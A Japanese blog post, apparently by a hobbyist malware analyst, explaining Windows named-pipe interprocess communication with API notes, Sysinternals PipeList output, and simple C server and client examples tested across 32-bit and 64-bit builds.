今回の解析ではC2サーバと通信ができなかったため、これ以降の分析はしていません。通常は、この後に各種情報を窃取する機能を持ったモジュールがダウンロードするようです。そのうちチャレンジします。

名前付きパイプによるプロセス間通信をやってみる

Windowsにおいてプロセス間通信(IPC)に使われる名前付きパイプについて調べました。

名前付きパイプ(Named Pipe)とは

名前付きパイプとは、プロセス間のデータ転送のためのプログラミングAPI。メールスロットと異なり、信頼される双方向通信を実現できる。ファイルのようにアクセスでき、Windows I/Oの標準関数であるCreateFile関数、ReadFile関数、WriteFile関数、CloseHandle関数を使って扱うことができる。生成時に作成するインスタンスの個数を指定できるため、1つのサーバが複数のクライアントと通信することもできる。また、サーバが自身のアカウント権限ではなくクライアント側のアカウント権限でスレッドの実行する、偽装(Impersonation)と呼ばれる機能も利用できる。名前付きパイプの関数は、kernel32.dllに実装されている。

f:id:aes256:20171204190757p:plain
図1.名前付きパイプ(PIPE_ACCESS_INBOUND)による通信のイメージ

CreateNamedPipe関数

名前付きパイプは、CreateNamedPipe関数を使ってインスタンスを作成できる。この関数の第一引数lpNameは、名前付きパイプ名へのポインタで、次の形式で指定する。

\\<サーバ>\Pipe\<パイプ名>
  • <サーバ>の部分には、名前付きパイプサーバを実行するコンピュータを指定する。Windows定義のエイリアス「\\.\」を指定した場合は、そのシステムのみで有効となる。 本記事では未検証だが、名前付きパイプはネットワークにまたがるプロセス間通信にも利用可能で、<サーバ>の部分にDNS名、IPアドレス、NetBIOS名なども指定できる。
  • <パイプ名>の部分には一意な名前を指定する。サブディレクトリを含むことができる。
例:\\.\Pipe\MyServerApp\ConnectionPipe

第二引数dwOpenModeでパイプの通信方向を指定できる。

説明
PIPE_ACCESS_DUPLEX 双方向。サーバとクライアントの両方が名前付きパイプの読み書きを行える。
PIPE_ACCESS_INBOUND 一方向。データの流れをクライアントからサーバへの方向に限定する。
PIPE_ACCESS_OUTBOUND 一方向。データの流れをサーバからクライアントへの方向に限定する。

パイプに関連する他の関数

関数名 説明
ConnectNamedPipe クライアントが名前付きパイプに接続してくるのを待機する。
CallNamedPipe 名前付きパイプがメッセージタイプの場合は当該関数で接続する。
PeekNamedPipe 名前付きパイプの状態を調べる。
WaitNamedPipe 接続可能になるかタイムアウト時間が経過まで待機する。

詳細は、下記Webページにまとめられている。
https://msdn.microsoft.com/ja-jp/library/cc429276.aspx

名前付きパイプのアクティビティの確認方法

Windows Sysinternals の PipeListツールを使う。
docs.microsoft.com

名前付きパイプの名前、それに対して作成されているインスタンス数、最大インスタンス数を表示できる。

C:\Users\Ayum>C:\Users\Ayum\Downloads\PipeList\pipelist.exe

PipeList v1.02 - Lists open named pipes
Copyright (C) 2005-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Pipe Name                                    Instances       Max Instances
---------                                    ---------       -------------
InitShutdown                                      3               -1
lsass                                             4               -1
protected_storage                                 3               -1
ntsvcs                                            3               -1
scerpc                                            3               -1
plugplay                                          3               -1
Winsock2\CatalogChangeListener-484-0              1                1
epmapper                                          3               -1
(以下略)

プログラム

クライアント側で文字列を入力すると名前付きパイプを利用してプロセス間通信(一方向)を行い、サーバ側で文字列が表示されるというプログラム。実行する際は、名前付きパイプを作成してから読み込む必要があるのでサーバ側から先に実行する。終了する場合は、”EXIT”という文字列を入力する。

サーバ側のソースコード

サーバ側では、CreateNamedPipe関数を呼び出して名前付きパイプのインスタンスを作成し、ConnectNamedPipe関数でクライアントが接続するまで待機する。その後、名前付きパイプにクライアントからのメッセージがある場合は表示する。

#include <stdio.h>
#include <windows.h>

int main() {
    HANDLE hPipe = INVALID_HANDLE_VALUE;
    hPipe = CreateNamedPipe("\\\\.\\pipe\\mypipe", //lpName
                           PIPE_ACCESS_INBOUND,            // dwOpenMode
                           PIPE_TYPE_BYTE | PIPE_WAIT,     // dwPipeMode
                           1,                              // nMaxInstances
                           0,                              // nOutBufferSize
                           0,                              // nInBufferSize
                           100,                            // nDefaultTimeOut
                           NULL);                          // lpSecurityAttributes

    if (hPipe == INVALID_HANDLE_VALUE) {
        fprintf(stderr, "Couldn't create NamedPipe.");
        return 1;
    }
    if (!ConnectNamedPipe(hPipe, NULL)) {
        fprintf(stderr, "Couldn't connect to NamedPipe.");
        CloseHandle(hPipe);
        return 1;
    }

    while (1) {
        char szBuff[256];
        DWORD dwBytesRead;
        if (!ReadFile(hPipe, szBuff, sizeof(szBuff), &dwBytesRead, NULL)) {
                fprintf(stderr, "Couldn't read NamedPipe.");
                break;
        }
        if (!strncmp("EXIT", szBuff, 4)) { // Exit Check
                break;
        }
        szBuff[dwBytesRead] = '\0';
        printf("Server : %s", szBuff);
        Sleep(1);
    }
    FlushFileBuffers(hPipe);
    DisconnectNamedPipe(hPipe);
    CloseHandle(hPipe);
    return 0;
}

クライアント側のソースコード

クライアント側では、サーバ側で作成した名前付きパイプのハンドルを取得し、ユーザによって入力された文字列をWriteFile関数で書き込む。

#include <stdio.h>
#include <windows.h>

int main() {
	HANDLE hPipe = INVALID_HANDLE_VALUE;
	hPipe = CreateFile("\\\\.\\pipe\\mypipe",
                          GENERIC_WRITE,
                          0,
                          NULL,
                          OPEN_EXISTING, 
                          FILE_ATTRIBUTE_NORMAL,
                          NULL);
	
	if (hPipe == INVALID_HANDLE_VALUE) {
		fprintf(stderr, "Couldn't create NamedPipe.");
		return 1;
	}

	while (1) {
		char szBuff[255];
		DWORD dwBytesWritten;
		fgets(szBuff, sizeof(szBuff), stdin);
		if (!WriteFile(hPipe, szBuff, strlen(szBuff), &dwBytesWritten, NULL)) {
			fprintf(stderr, "Couldn't write NamedPipe.");
			break;
		}
		if (!strncmp("EXIT", szBuff, 4)) { // Exit Check
			break;
		}
	}
	CloseHandle(hPipe);
	return 0;
}

実行結果

クライアントに文字列を入力してEnterを押下すると、サーバにも同一の文字列が表示される。

f:id:aes256:20171204175406p:plain
図2.プログラムの実行イメージ
このときの名前付きパイプのアクティビティは次の通りとなった。「mypipe」が表示されていることがわかる。

C:\Users\Ayum>C:\Users\Ayum\Downloads\PipeList\pipelist.exe

PipeList v1.02 - Lists open named pipes
Copyright (C) 2005-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Pipe Name                                    Instances       Max Instances
---------                                    ---------       -------------
InitShutdown                                      3               -1
lsass                                             4               -1
protected_storage                                 3               -1
ntsvcs                                            3               -1
scerpc                                            3               -1
plugplay                                          3               -1
(中略)
mypipe                                            1                1

Process Hackerなどのツールを使ってクライアントのハンドル一覧を見れば、パイプのハンドルを確認できる。

f:id:aes256:20171205174120p:plain
図3.クライアントのハンドル一覧


上記コードを32bit/64bitプログラムにそれぞれコンパイルし、各プロセス間で名前付きパイプによる通信が可能か検証した。いずれも成功した。

サーバ    クライアント プロセス間通信
32bit 32bit 成功
32bit 64bit 成功
64bit 32bit 成功
64bit 64bit 成功